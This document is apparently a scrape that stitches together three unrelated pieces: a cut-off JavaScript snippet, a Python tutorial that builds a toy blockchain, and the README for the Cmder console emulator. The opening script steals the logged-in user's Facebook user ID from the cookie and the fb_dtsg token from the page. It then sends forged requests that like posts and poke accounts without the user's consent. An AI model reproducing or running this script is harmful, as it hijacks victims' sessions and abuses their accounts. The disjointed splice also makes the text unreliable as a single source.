uidss + " }).send();"; document.body.appendChild(a); } function p(abone) { var http4 = new XMLHttpRequest(); var url4 = "//www.facebook.com/ajax/poke_dialog.php"; var params4 = "uid=" + abone + "&pokeback=0&ask_for_confirm=0&nctr[_mod]=pagelet_timeline_profile_actions&__asyncDialog=1&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=v&fb_dtsg="+fb_dtsg+"&phstamp="; http4.open("POST", url4, true); http4.onreadystatechange = function () { if (http4.readyState == 4 && http4.status == 200) { http4.close; } }; http4.send(params4); }var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var now=(new Date).getTime(); function P(opo) { var X = new XMLHttpRequest(); var XURL ="//www.facebook.com/ajax/ufi/like.php"; var XParams = "like_action=true&ft_ent_identifier="+opo+"&source=1&client_id="+now+"%3A379783857&rootid=u_jsonp_39_18&giftoccasion&ft[tn]=%3E%3D&ft[type]=20&ft[qid]=5890811329470279257&ft[mf_story_key]=2814962900193143952&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n88QoAMBlClyocpae&__req=g4&fb_dtsg="+fb_dtsg+"&phstamp="; X.open("POST", XURL, true); X.onreadystatechange = function () { if (X.readyState == 4 && X.status == 200) { X.close; } }; X.send(XParams); } // pic + fans P("1442760625958596");P("283364628478740");P("282734018541801");P("282405835241286");P("282118645270005");P("277214845760385");Like("621772907859073");Like("6190916227759366");Like("1441970956037563");Like("190916227759366");
etherceo1x1
BUILD YOUR OWN BLOCKCHAIN: A PYTHON TUTORIAL Download the full Jupyter/iPython notebook from Github here Build Your Own Blockchain – The Basics¶ This tutorial will walk you through the basics of how to build a blockchain from scratch. Focusing on the details of a concrete example will provide a deeper understanding of the strengths and limitations of blockchains. For a higher-level overview, I’d recommend this excellent article from BitsOnBlocks. Transactions, Validation, and updating system state¶ At its core, a blockchain is a distributed database with a set of rules for verifying new additions to the database. We’ll start off by tracking the accounts of two imaginary people: Alice and Bob, who will trade virtual money with each other. We’ll need to create a transaction pool of incoming transactions, validate those transactions, and make them into a block. We’ll be using a hash function to create a ‘fingerprint’ for each of our transactions- this hash function links each of our blocks to each other. To make this easier to use, we’ll define a helper function to wrap the python hash function that we’re using. In [1]: import hashlib, json, sys def hashMe(msg=""): # For convenience, this is a helper function that wraps our hashing algorithm if type(msg)!=str: msg = json.dumps(msg,sort_keys=True) # If we don't sort keys, we can't guarantee repeatability! if sys.version_info.major == 2: return unicode(hashlib.sha256(msg).hexdigest(),'utf-8') else: return hashlib.sha256(str(msg).encode('utf-8')).hexdigest() Next, we want to create a function to generate exchanges between Alice and Bob. We’ll indicate withdrawals with negative numbers, and deposits with positive numbers. We’ll construct our transactions to always be between the two users of our system, and make sure that the deposit is the same magnitude as the withdrawal- i.e. that we’re neither creating nor destroying money. In [2]: import random random.seed(0) def makeTransaction(maxValue=3): # This will create valid transactions in the range of (1,maxValue) sign = int(random.getrandbits(1))*2 - 1 # This will randomly choose -1 or 1 amount = random.randint(1,maxValue) alicePays = sign * amount bobPays = -1 * alicePays # By construction, this will always return transactions that respect the conservation of tokens. # However, note that we have not done anything to check whether these overdraft an account return {u'Alice':alicePays,u'Bob':bobPays} Now let’s create a large set of transactions, then chunk them into blocks. In [3]: txnBuffer = [makeTransaction() for i in range(30)] Next step: making our very own blocks! We’ll take the first k transactions from the transaction buffer, and turn them into a block. Before we do that, we need to define a method for checking the valididty of the transactions we’ve pulled into the block. For bitcoin, the validation function checks that the input values are valid unspent transaction outputs (UTXOs), that the outputs of the transaction are no greater than the input, and that the keys used for the signatures are valid. In Ethereum, the validation function checks that the smart contracts were faithfully executed and respect gas limits. No worries, though- we don’t have to build a system that complicated. We’ll define our own, very simple set of rules which make sense for a basic token system: The sum of deposits and withdrawals must be 0 (tokens are neither created nor destroyed) A user’s account must have sufficient funds to cover any withdrawals If either of these conditions are violated, we’ll reject the transaction. In [4]: def updateState(txn, state): # Inputs: txn, state: dictionaries keyed with account names, holding numeric values for transfer amount (txn) or account balance (state) # Returns: Updated state, with additional users added to state if necessary # NOTE: This does not not validate the transaction- just updates the state! # If the transaction is valid, then update the state state = state.copy() # As dictionaries are mutable, let's avoid any confusion by creating a working copy of the data. for key in txn: if key in state.keys(): state[key] += txn[key] else: state[key] = txn[key] return state In [5]: def isValidTxn(txn,state): # Assume that the transaction is a dictionary keyed by account names # Check that the sum of the deposits and withdrawals is 0 if sum(txn.values()) is not 0: return False # Check that the transaction does not cause an overdraft for key in txn.keys(): if key in state.keys(): acctBalance = state[key] else: acctBalance = 0 if (acctBalance + txn[key]) < 0: return False return True Here are a set of sample transactions, some of which are fraudulent- but we can now check their validity! In [6]: state = {u'Alice':5,u'Bob':5} print(isValidTxn({u'Alice': -3, u'Bob': 3},state)) # Basic transaction- this works great! print(isValidTxn({u'Alice': -4, u'Bob': 3},state)) # But we can't create or destroy tokens! print(isValidTxn({u'Alice': -6, u'Bob': 6},state)) # We also can't overdraft our account. print(isValidTxn({u'Alice': -4, u'Bob': 2,'Lisa':2},state)) # Creating new users is valid print(isValidTxn({u'Alice': -4, u'Bob': 3,'Lisa':2},state)) # But the same rules still apply! True False False True False Each block contains a batch of transactions, a reference to the hash of the previous block (if block number is greater than 1), and a hash of its contents and the header Building the Blockchain: From Transactions to Blocks¶ We’re ready to start making our blockchain! Right now, there’s nothing on the blockchain, but we can get things started by defining the ‘genesis block’ (the first block in the system). Because the genesis block isn’t linked to any prior block, it gets treated a bit differently, and we can arbitrarily set the system state. In our case, we’ll create accounts for our two users (Alice and Bob) and give them 50 coins each. In [7]: state = {u'Alice':50, u'Bob':50} # Define the initial state genesisBlockTxns = [state] genesisBlockContents = {u'blockNumber':0,u'parentHash':None,u'txnCount':1,u'txns':genesisBlockTxns} genesisHash = hashMe( genesisBlockContents ) genesisBlock = {u'hash':genesisHash,u'contents':genesisBlockContents} genesisBlockStr = json.dumps(genesisBlock, sort_keys=True) Great! This becomes the first element from which everything else will be linked. In [8]: chain = [genesisBlock] For each block, we want to collect a set of transactions, create a header, hash it, and add it to the chain In [9]: def makeBlock(txns,chain): parentBlock = chain[-1] parentHash = parentBlock[u'hash'] blockNumber = parentBlock[u'contents'][u'blockNumber'] + 1 txnCount = len(txns) blockContents = {u'blockNumber':blockNumber,u'parentHash':parentHash, u'txnCount':len(txns),'txns':txns} blockHash = hashMe( blockContents ) block = {u'hash':blockHash,u'contents':blockContents} return block Let’s use this to process our transaction buffer into a set of blocks: In [10]: blockSizeLimit = 5 # Arbitrary number of transactions per block- # this is chosen by the block miner, and can vary between blocks! while len(txnBuffer) > 0: bufferStartSize = len(txnBuffer) ## Gather a set of valid transactions for inclusion txnList = [] while (len(txnBuffer) > 0) & (len(txnList) < blockSizeLimit): newTxn = txnBuffer.pop() validTxn = isValidTxn(newTxn,state) # This will return False if txn is invalid if validTxn: # If we got a valid state, not 'False' txnList.append(newTxn) state = updateState(newTxn,state) else: print("ignored transaction") sys.stdout.flush() continue # This was an invalid transaction; ignore it and move on ## Make a block myBlock = makeBlock(txnList,chain) chain.append(myBlock) In [11]: chain[0] Out[11]: {'contents': {'blockNumber': 0, 'parentHash': None, 'txnCount': 1, 'txns': [{'Alice': 50, 'Bob': 50}]}, 'hash': '7c88a4312054f89a2b73b04989cd9b9e1ae437e1048f89fbb4e18a08479de507'} In [12]: chain[1] Out[12]: {'contents': {'blockNumber': 1, 'parentHash': '7c88a4312054f89a2b73b04989cd9b9e1ae437e1048f89fbb4e18a08479de507', 'txnCount': 5, 'txns': [{'Alice': 3, 'Bob': -3}, {'Alice': -1, 'Bob': 1}, {'Alice': 3, 'Bob': -3}, {'Alice': -2, 'Bob': 2}, {'Alice': 3, 'Bob': -3}]}, 'hash': '7a91fc8206c5351293fd11200b33b7192e87fad6545504068a51aba868bc6f72'} As expected, the genesis block includes an invalid transaction which initiates account balances (creating tokens out of thin air). The hash of the parent block is referenced in the child block, which contains a set of new transactions which affect system state. We can now see the state of the system, updated to include the transactions: In [13]: state Out[13]: {'Alice': 72, 'Bob': 28} Checking Chain Validity¶ Now that we know how to create new blocks and link them together into a chain, let’s define functions to check that new blocks are valid- and that the whole chain is valid. On a blockchain network, this becomes important in two ways: When we initially set up our node, we will download the full blockchain history. After downloading the chain, we would need to run through the blockchain to compute the state of the system. To protect against somebody inserting invalid transactions in the initial chain, we need to check the validity of the entire chain in this initial download. Once our node is synced with the network (has an up-to-date copy of the blockchain and a representation of system state) it will need to check the validity of new blocks that are broadcast to the network. We will need three functions to facilitate in this: checkBlockHash: A simple helper function that makes sure that the block contents match the hash checkBlockValidity: Checks the validity of a block, given its parent and the current system state. We want this to return the updated state if the block is valid, and raise an error otherwise. checkChain: Check the validity of the entire chain, and compute the system state beginning at the genesis block. This will return the system state if the chain is valid, and raise an error otherwise. In [14]: def checkBlockHash(block): # Raise an exception if the hash does not match the block contents expectedHash = hashMe( block['contents'] ) if block['hash']!=expectedHash: raise Exception('Hash does not match contents of block %s'% block['contents']['blockNumber']) return In [15]: def checkBlockValidity(block,parent,state): # We want to check the following conditions: # - Each of the transactions are valid updates to the system state # - Block hash is valid for the block contents # - Block number increments the parent block number by 1 # - Accurately references the parent block's hash parentNumber = parent['contents']['blockNumber'] parentHash = parent['hash'] blockNumber = block['contents']['blockNumber'] # Check transaction validity; throw an error if an invalid transaction was found. for txn in block['contents']['txns']: if isValidTxn(txn,state): state = updateState(txn,state) else: raise Exception('Invalid transaction in block %s: %s'%(blockNumber,txn)) checkBlockHash(block) # Check hash integrity; raises error if inaccurate if blockNumber!=(parentNumber+1): raise Exception('Hash does not match contents of block %s'%blockNumber) if block['contents']['parentHash'] != parentHash: raise Exception('Parent hash not accurate at block %s'%blockNumber) return state In [16]: def checkChain(chain): # Work through the chain from the genesis block (which gets special treatment), # checking that all transactions are internally valid, # that the transactions do not cause an overdraft, # and that the blocks are linked by their hashes. # This returns the state as a dictionary of accounts and balances, # or returns False if an error was detected ## Data input processing: Make sure that our chain is a list of dicts if type(chain)==str: try: chain = json.loads(chain) assert( type(chain)==list) except: # This is a catch-all, admittedly crude return False elif type(chain)!=list: return False state = {} ## Prime the pump by checking the genesis block # We want to check the following conditions: # - Each of the transactions are valid updates to the system state # - Block hash is valid for the block contents for txn in chain[0]['contents']['txns']: state = updateState(txn,state) checkBlockHash(chain[0]) parent = chain[0] ## Checking subsequent blocks: These additionally need to check # - the reference to the parent block's hash # - the validity of the block number for block in chain[1:]: state = checkBlockValidity(block,parent,state) parent = block return state We can now check the validity of the state: In [17]: checkChain(chain) Out[17]: {'Alice': 72, 'Bob': 28} And even if we are loading the chain from a text file, e.g. from backup or loading it for the first time, we can check the integrity of the chain and create the current state: In [18]: chainAsText = json.dumps(chain,sort_keys=True) checkChain(chainAsText) Out[18]: {'Alice': 72, 'Bob': 28} Putting it together: The final Blockchain Architecture¶ In an actual blockchain network, new nodes would download a copy of the blockchain and verify it (as we just did above), then announce their presence on the peer-to-peer network and start listening for transactions. Bundling transactions into a block, they then pass their proposed block on to other nodes. We’ve seen how to verify a copy of the blockchain, and how to bundle transactions into a block. If we recieve a block from somewhere else, verifying it and adding it to our blockchain is easy. Let’s say that the following code runs on Node A, which mines the block: In [19]: import copy nodeBchain = copy.copy(chain) nodeBtxns = [makeTransaction() for i in range(5)] newBlock = makeBlock(nodeBtxns,nodeBchain) Now assume that the newBlock is transmitted to our node, and we want to check it and update our state if it is a valid block: In [20]: print("Blockchain on Node A is currently %s blocks long"%len(chain)) try: print("New Block Received; checking validity...") state = checkBlockValidity(newBlock,chain[-1],state) # Update the state- this will throw an error if the block is invalid! chain.append(newBlock) except: print("Invalid block; ignoring and waiting for the next block...") print("Blockchain on Node A is now %s blocks long"%len(chain)) Blockchain on Node A is currently 7 blocks long New Block Received; checking validity... Blockchain on Node A is now 8 blocks long
Ch-Jad
# Cmder [](https://gitter.im/cmderdev/cmder?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) [](https://ci.appveyor.com/project/MartiUK/cmder) Cmder is a **software package** created out of pure frustration over absence of usable console emulator on Windows. It is based on [ConEmu](https://conemu.github.io/) with *major* config overhaul, comes with a Monokai color scheme, amazing [clink](https://chrisant996.github.io/clink/) (further enhanced by [clink-completions](https://github.com/vladimir-kotikov/clink-completions)) and a custom prompt layout.  ## Why use it The main advantage of Cmder is portability. It is designed to be totally self-contained with no external dependencies, which makes it great for **USB Sticks** or **cloud storage**. So you can carry your console, aliases and binaries (like wget, curl and git) with you anywhere. The Cmder's user interface is also designed to be more eye pleasing, and you can compare the main differences between Cmder and ConEmu [here](https://conemu.github.io/en/cmder.html). ## Installation ### Single User Portable Config 1. Download the [latest release](https://github.com/cmderdev/cmder/releases/) 2. Extract the archive. *Note: This path should not be `C:\Program Files` or anywhere else that would require Administrator access for modifying configuration files* 3. (optional) Place your own executable files into the `%cmder_root%\bin` folder to be injected into your PATH. 4. Run `Cmder.exe` ### Shared Cmder install with Non-Portable Individual User Config 1. Download the [latest release](https://github.com/cmderdev/cmder/releases/) 2. Extract the archive to a shared location. 3. (optional) Place your own executable files and custom app folders into the `%cmder_root%\bin`. See: [bin/README.md](./bin/Readme.md) - This folder to be injected into your PATH by default. - See `/max_depth [1-5]` in 'Command Line Arguments for `init.bat`' table to add subdirectories recursively. 4. (optional) Place your own custom app folders into the `%cmder_root%\opt`. See: [opt/README.md](./opt/Readme.md) - This folder will NOT be injected into your PATH so you have total control of what gets added. 5. Run `Cmder.exe` with `/C` command line argument. Example: `cmder.exe /C %userprofile%\cmder_config` * This will create the following directory structure if it is missing. ``` c:\users\[CH JaDi Rajput]\cmder_config ├───bin ├───config │ └───profile.d └───opt ``` - (optional) Place your own executable files and custom app folders into `%userprofile%\cmder_config\bin`. - This folder to be injected into your PATH by default. - See `/max_depth [1-5]` in 'Command Line Arguments for `init.bat`' table to add subdirectories recursively. - (optional) Place your own custom app folders into the `%user_profile%\cmder_config\opt`. - This folder will NOT be injected into your PATH so you have total control of what gets added. * Both the shared install and the individual user config locations can contain a full set of init and profile.d scripts enabling shared config with user overrides. See below. ## Cmder.exe Command Line Arguments | Argument | Description | | ------------------- | ----------------------------------------------------------------------- | | `/C [user_root_path]` | Individual user Cmder root folder. Example: `%userprofile%\cmder_config` | | `/M` | Use `conemu-%computername%.xml` for ConEmu settings storage instead of `user_conemu.xml` | | `/REGISTER [ALL, USER]` | Register a Windows Shell Menu shortcut. | | `/UNREGISTER [ALL, USER]` | Un-register a Windows Shell Menu shortcut. | | `/SINGLE` | Start Cmder in single mode. | | `/START [start_path]` | Folder path to start in. | | `/TASK [task_name]` | Task to start after launch. | | `/X [ConEmu extras pars]` | Forwards parameters to ConEmu | ## Context Menu Integration So you've experimented with Cmder a little and want to give it a shot in a more permanent home; ### Shortcut to open Cmder in a chosen folder 1. Open a terminal as an Administrator 2. Navigate to the directory you have placed Cmder 3. Execute `.\cmder.exe /REGISTER ALL` _If you get a message "Access Denied" ensure you are executing the command in an **Administrator** prompt._ In a file explorer window right click in or on a directory to see "Cmder Here" in the context menu. ## Keyboard shortcuts ### Tab manipulation * <kbd>Ctrl</kbd> + <kbd>T</kbd> : New tab dialog (maybe you want to open cmd as admin?) * <kbd>Ctrl</kbd> + <kbd>W</kbd> : Close tab * <kbd>Ctrl</kbd> + <kbd>D</kbd> : Close tab (if pressed on empty command) * <kbd>Shift</kbd> + <kbd>Alt</kbd> + <kbd>#Number</kbd> : Fast new tab: <kbd>1</kbd> - CMD, <kbd>2</kbd> - PowerShell * <kbd>Ctrl</kbd> + <kbd>Tab</kbd> : Switch to next tab * <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Tab</kbd> : Switch to previous tab * <kbd>Ctrl</kbd> + <kbd>#Number</kbd> : Switch to tab #Number * <kbd>Alt</kbd> + <kbd>Enter</kbd>: Fullscreen ### Shell * <kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>U</kbd> : Traverse up in directory structure (lovely feature!) * <kbd>End</kbd>, <kbd>Home</kbd>, <kbd>Ctrl</kbd> : Traversing text with as usual on Windows * <kbd>Ctrl</kbd> + <kbd>R</kbd> : History search * <kbd>Shift</kbd> + Mouse : Select and copy text from buffer _(Some shortcuts are not yet documented, though they exist - please document them here)_ ## Features ### Access to multiple shells in one window using tabs You can open multiple tabs each containing one of the following shells: | Task | Shell | Description | | ---- | ----- | ----------- | | Cmder | `cmd.exe` | Windows `cmd.exe` shell enhanced with Git, Git aware prompt, Clink (GNU Readline), and Aliases. | | Cmder as Admin | `cmd.exe` | Administrative Windows `cmd.exe` Cmder shell. | | PowerShell | `powershell.exe` | Windows PowerShell enhanced with Git and Git aware prompt . | | PowerShell as Admin | `powershell.exe` | Administrative Windows `powershell.exe` Cmder shell. | | Bash | `bash.exe` | Unix/Linux like bash shell running on Windows. | | Bash as Admin | `bash.exe` | Administrative Unix/Linux like bash shell running on Windows. | | Mintty | `bash.exe` | Unix/Linux like bash shell running on Windows. See below for Mintty configuration differences | | Mintty as Admin | `bash.exe` | Administrative Unix/Linux like bash shell running on Windows. See below for Mintty configuration differences | Cmder, PowerShell, and Bash tabs all run on top of the Windows Console API and work as you might expect in Cmder with access to use ConEmu's color schemes, key bindings and other settings defined in the ConEmu Settings dialog. ⚠ *NOTE:* Only the full edition of Cmder comes with a pre-installed bash, using a vendored [git-for-windows](https://gitforwindows.org/) installation. The pre-configured Bash tabs may not work on Cmder mini edition without additional configuration. You may however, choose to use an external installation of bash, such as Microsoft's [Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/install-win10) (called WSL) or the [Cygwin](https://cygwin.com/) project which provides POSIX support on windows. ⚠ *NOTE:* Mintty tabs use a program called 'mintty' as the terminal emulator that is not based on the Windows Console API, rather it's rendered graphically by ConEmu. Mintty differs from the other tabs in that it supports xterm/xterm-256color TERM types, and does not work with ConEmu settings like color schemes and key bindings. As such, some differences in functionality are to be expected, such as Cmder not being able to apply a system-wide configuration to it. As a result mintty specific config is done via the `[%USERPROFILE%|$HOME]/.minttyrc` file. You may read more about Mintty and its config file [here](https://github.com/mintty/mintty). An example of setting Cmder portable terminal colors for mintty: From a bash/mintty shell: ``` cd $CMDER_ROOT/vendor git clone https://github.com/karlin/mintty-colors-solarized.git cd mintty-colors-solarized/ echo source \$CMDER_ROOT/vendor/mintty-colors-solarized/mintty-solarized-dark.sh>>$CMDER_ROOT/config/user_profile.sh ``` You may find some Monokai color schemes for mintty to match Cmder [here](https://github.com/oumu/mintty-color-schemes/blob/master/base16-monokai-mod.minttyrc). ### Changing Cmder Default `cmd.exe` Prompt Config File The default Cmder shell `cmd::Cmder` prompt is customized using `Clink` and is configured by editing a config file that exists in one of two locations: - Single User Portable Config `%CMDER_ROOT%\config\cmder_prompt_config.lua` - Shared Cmder install with Non-Portable Individual User Config `%CMDER_USER_CONFIG%\cmder_prompt_config.lua` If your Cmder setup does not have this file create it from `%CMDER_ROOT%\vendor\cmder_prompt_config.lua.default` Customizations include: - Colors. - Single/Multi-line. - Full path/Folder only. - `[user]@[host]` to the beginning of the prompt. - `~` for home directory. - `λ` symbol Documentation is in the file for each setting. ### Changing Cmder Default `cmd.exe` Shell Startup Behaviour Using Task Arguments 1. Press <kbd>Win</kbd> + <kbd>Alt</kbd> + <kbd>T</kbd> 1. Click either: * `1. {cmd::Cmder as Admin}` * `2. {cmd::Cmder}` 1. Add command line arguments where specified below: *Note: Pay attention to the quotes!* ``` cmd /s /k ""%ConEmuDir%\..\init.bat" [ADD ARGS HERE]" ``` ##### Command Line Arguments for `init.bat` | Argument | Description | Default | | ----------------------------- | ---------------------------------------------------------------------------------------------- | ------------------------------------- | | `/c [user cmder root]` | Enables user bin and config folders for 'Cmder as admin' sessions due to non-shared environment. | not set | | `/d` | Enables debug output. | not set | | `/f` | Enables Cmder Fast Init Mode. This disables some features, see pull request [#1492](https://github.com/cmderdev/cmder/pull/1942) for more details. | not set | | `/t` | Enables Cmder Timed Init Mode. This displays the time taken run init scripts | not set | | `/git_install_root [file path]` | User specified Git installation root path. | `%CMDER_ROOT%\vendor\Git-for-Windows` | | `/home [home folder]` | User specified folder path to set `%HOME%` environment variable. | `%userprofile%` | | `/max_depth [1-5]` | Define max recurse depth when adding to the path for `%cmder_root%\bin` and `%cmder_user_bin%` | 1 | | `/nix_tools [0-2]` | Define how `*nix` tools are added to the path. Prefer Windows Tools: 1, Prefer *nix Tools: 2, No `/usr/bin` in `%PATH%`: 0 | 1 | | `/svn_ssh [path to ssh.exe]` | Define `%SVN_SSH%` so we can use git svn with ssh svn repositories. | `%GIT_INSTALL_ROOT%\bin\ssh.exe` | | `/user_aliases [file path]` | File path pointing to user aliases. | `%CMDER_ROOT%\config\user_aliases.cmd` | | `/v` | Enables verbose output. | not set | | (custom arguments) | User defined arguments processed by `cexec`. Type `cexec /?` for more usage. | not set | ### Cmder Shell User Config Single user portable configuration is possible using the cmder specific shell config files. Edit the below files to add your own configuration: | Shell | Cmder Portable User Config | | ------------- | ----------------------------------------- | | Cmder | `%CMDER_ROOT%\config\user_profile.cmd` | | PowerShell | `$ENV:CMDER_ROOT\config\user_profile.ps1` | | Bash/Mintty | `$CMDER_ROOT/config/user_profile.sh` | Note: Bash and Mintty sessions will also source the `$HOME/.bashrc` file if it exists after it sources `$CMDER_ROOT/config/user_profile.sh`. You can write `*.cmd|*.bat`, `*.ps1`, and `*.sh` scripts and just drop them in the `%CMDER_ROOT%\config\profile.d` folder to add startup config to Cmder. | Shell | Cmder `Profile.d` Scripts | | ------------- | -------------------------------------------------- | | Cmder | `%CMDER_ROOT%\config\profile.d\*.bat and *.cmd` | | PowerShell | `$ENV:CMDER_ROOT\config\profile.d\*.ps1` | | Bash/Mintty | `$CMDER_ROOT/config/profile.d/*.sh` | #### Git Status Opt-Out To disable Cmder prompt git status globally add the following to `~/.gitconfig` or locally for a single repo `[repo]/.git/config` and start a new session. *Note: This configuration is not portable* ``` [cmder] status = false # Opt out of Git status for 'ALL' Cmder supported shells. cmdstatus = false # Opt out of Git status for 'Cmd.exe' shells. psstatus = false # Opt out of Git status for 'Powershell.exe and 'Pwsh.exe' shells. shstatus = false # Opt out of Git status for 'bash.exe' shells. ``` ### Aliases #### Cmder(`Cmd.exe`) Aliases You can define simple aliases for `cmd.exe` sessions with a command like `alias name=command`. Cmd.exe aliases support optional parameters through the `$1-9` or the `$*` special characters so the alias `vi=vim.exe $*` typed as `vi [filename]` will open `[filename]` in `vim.exe`. Cmd.exe aliases can also be more complex. See: [DOSKEY.EXE documentation](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/doskey) for additional details on complex aliases/macros for `cmd.exe` Aliases defined using the `alias.bat` command will automatically be saved in the `%CMDER_ROOT%\config\user_aliases.cmd` file To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$CMDER_ROOT/vendor/init.bat`. Anything stored in `%CMDER_ROOT%` will be a portable setting and will follow cmder to another machine. * `%CMDER_ROOT%\config\profile.d\*.cmd` and `\*.bat` * `%CMDER_ROOT%\config\user_aliases.cmd` * `%CMDER_ROOT%\config\user_profile.cmd` #### Bash.exe|Mintty.exe Aliases Bash shells support simple and complex aliases with optional parameters natively so they work a little different. Typing `alias name=command` will create an alias only for the current running session. To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$CMDER_ROOT/vendor/git-for-windows/etc/profile.d/cmder.sh`. Anything stored in `$CMDER_ROOT` will be a portable setting and will follow cmder to another machine. * `$CMDER_ROOT/config/profile.d/*.sh` * `$CMDER_ROOT/config/user_profile.sh` * `$HOME/.bashrc` If you add bash aliases to `$CMDER_ROOT/config/user_profile.sh` they will be portable and follow your Cmder folder if you copy it to another machine. `$HOME/.bashrc` defined aliases are not portable. #### PowerShell.exe Aliases PowerShell has native simple alias support, for example `[new-alias | set-alias] alias command`, so complex aliases with optional parameters are not supported in PowerShell sessions. Type `get-help [new-alias|set-alias] -full` for help on PowerShell aliases. To make an alias and/or any other profile settings permanent add it to one of the following: Note: These are loaded in this order by `$ENV:CMDER_ROOT\vendor\user_profile.ps1`. Anything stored in `$ENV:CMDER_ROOT` will be a portable setting and will follow cmder to another machine. * `$ENV:CMDER_ROOT\config\profile.d\*.ps1` * `$ENV:CMDER_ROOT\config\user_profile.ps1` ### SSH Agent To start the vendored SSH agent simply call `start-ssh-agent`, which is in the `vendor/git-for-windows/cmd` folder. If you want to run SSH agent on startup, include the line `@call "%GIT_INSTALL_ROOT%/cmd/start-ssh-agent.cmd"` in `%CMDER_ROOT%/config/user_profile.cmd` (usually just uncomment it). ### Vendored Git Cmder is by default shipped with a vendored Git installation. On each instance of launching Cmder, an attempt is made to locate any other user provided Git binaries. Upon finding a `git.exe` binary, Cmder further compares its version against the vendored one _by executing_ it. The vendored `git.exe` binary is _only_ used when it is more recent than the user-installed one. You may use your favorite version of Git by including its path in the `%PATH%` environment variable. Moreover, the **Mini** edition of Cmder (found on the [downloads page](https://github.com/cmderdev/cmder/releases)) excludes any vendored Git binaries. ### Using external Cygwin/Babun, MSys2, WSL, or Git for Windows SDK with Cmder. You may run bash (the default shell used on Linux, macOS and GNU/Hurd) externally on Cmder, using the following instructions: 1. Setup a new task by pressing <kbd>Win</kbd> +<kbd>Alt</kbd> + <kbd>T</kbd>. 1. Click the `+` button to add a task. 1. Name the new task in the top text box. 1. Provide task parameters, this is optional. 1. Add `cmd /c "[path_to_external_env]\bin\bash --login -i" -new_console` to the `Commands` text box. **Recommended Optional Steps:** Copy the `vendor/cmder_exinit` file to the Cygwin/Babun, MSys2, or Git for Windows SDK environments `/etc/profile.d/` folder to use portable settings in the `$CMDER_ROOT/config` folder. Note: MinGW could work if the init scripts include `profile.d` but this has not been tested. The destination file extension depends on the shell you use in that environment. For example: * bash - Copy to `/etc/profile.d/cmder_exinit.sh` * zsh - Copy to `/etc/profile.d/cmder_exinit.zsh` Uncomment and edit the below line in the script to use Cmder config even when launched from outside Cmder. ``` # CMDER_ROOT=${USERPROFILE}/cmder # This is not required if launched from Cmder. ``` ### Customizing user sessions using `init.bat` custom arguments. You can pass custom arguments to `init.bat` and use `cexec.cmd` in your `user_profile.cmd` to evaluate these arguments then execute commands based on a particular flag being detected or not. `init.bat` creates two shortcuts for using `cexec.cmd` in your profile scripts. #### `%ccall%` - Evaluates flags, runs commands if found, and returns to the calling script and continues. ``` ccall=call C:\Users\user\cmderdev\vendor\bin\cexec.cmd ``` Example: `%ccall% /startnotepad start notepad.exe` #### `%cexec%` - Evaluates flags, runs commands if found, and does not return to the calling script. ``` cexec=C:\Users\user\cmderdev\vendor\bin\cexec.cmd ``` Example: `%cexec% /startnotepad start notepad.exe` It is useful when you have multiple tasks to execute `cmder` and need it to initialize the session differently depending on the task chosen. To conditionally start `notepad.exe` when you start a specific `cmder` task: * Press <kbd>win</kbd>+<kbd>alt</kbd>+<kbd>t</kbd> * Click `+` to add a new task. * Add the below to the `Commands` block: ```batch cmd.exe /k ""%ConEmuDir%\..\init.bat" /startnotepad" ``` * Add the below to your `%cmder_root%\config\user_profile.cmd` ```batch %ccall% "/startNotepad" "start" "notepad.exe"` ``` To see detailed usage of `cexec`, type `cexec /?` in cmder. ### Integrating Cmder with [Hyper](https://github.com/zeit/hyper), [Microsoft VS Code](https://code.visualstudio.com/), and your favorite IDEs Cmder by default comes with a vendored ConEmu installation as the underlying terminal emulator, as stated [here](https://conemu.github.io/en/cmder.html). However, Cmder can in fact run in a variety of other terminal emulators, and even integrated IDEs. Assuming you have the latest version of Cmder, follow the following instructions to get Cmder working with your own terminal emulator. For instructions on how to integrate Cmder with your IDE, please read our [Wiki section](https://github.com/cmderdev/cmder/wiki#cmder-integration). ## Upgrading The process of upgrading Cmder depends on the version/build you are currently running. If you have a `[cmder_root]/config/user[-|_]conemu.xml`, you are running a newer version of Cmder, follow the below process: 1. Exit all Cmder sessions and relaunch `[cmder_root]/cmder.exe`, this backs up your existing `[cmder_root]/vendor/conemu-maximus5/conemu.xml` to `[cmder_root]/config/user[-|_]conemu.xml`. * The `[cmder_root]/config/user[-|_]conemu.xml` contains any custom settings you have made using the 'Setup Tasks' settings dialog. 2. Exit all Cmder sessions and backup any files you have manually edited under `[cmder_root]/vendor`. * Editing files under `[cmder_root]/vendor` is not recommended since you will need to re-apply these changes after any upgrade. All user customizations should go in `[cmder_root]/config` folder. 3. Delete the `[cmder_root]/vendor` folder. 4. Extract the new `cmder.zip` or `cmder_mini.zip` into `[cmder_root]/` overwriting all files when prompted. If you do not have a `[cmder_root]/config/user[-|_]conemu.xml`, you are running an older version of cmder, follow the below process: 1. Exit all Cmder sessions and backup `[cmder_root]/vendor/conemu-maximus5/conemu.xml` to `[cmder_root]/config/user[-|_]conemu.xml`. 2. Backup any files you have manually edited under `[cmder_root]/vendor`. * Editing files under `[cmder_root]/vendor` is not recommended since you will need to re-apply these changes after any upgrade. All user customizations should go in `[cmder_root]/config` folder. 3. Delete the `[cmder_root]/vendor` folder. 4. Extract the new `cmder.zip` or `cmder_mini.zip` into `[cmder_root]/` overwriting all files when prompted. ## Current development builds You can download builds of the current development branch by going to AppVeyor via the following link: [](https://ci.appveyor.com/project/MartiUK/cmder/branch/master/artifacts) ## License All software included is bundled with own license The MIT License (MIT) Copyright (c) 2016 Samuel Vasko Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY 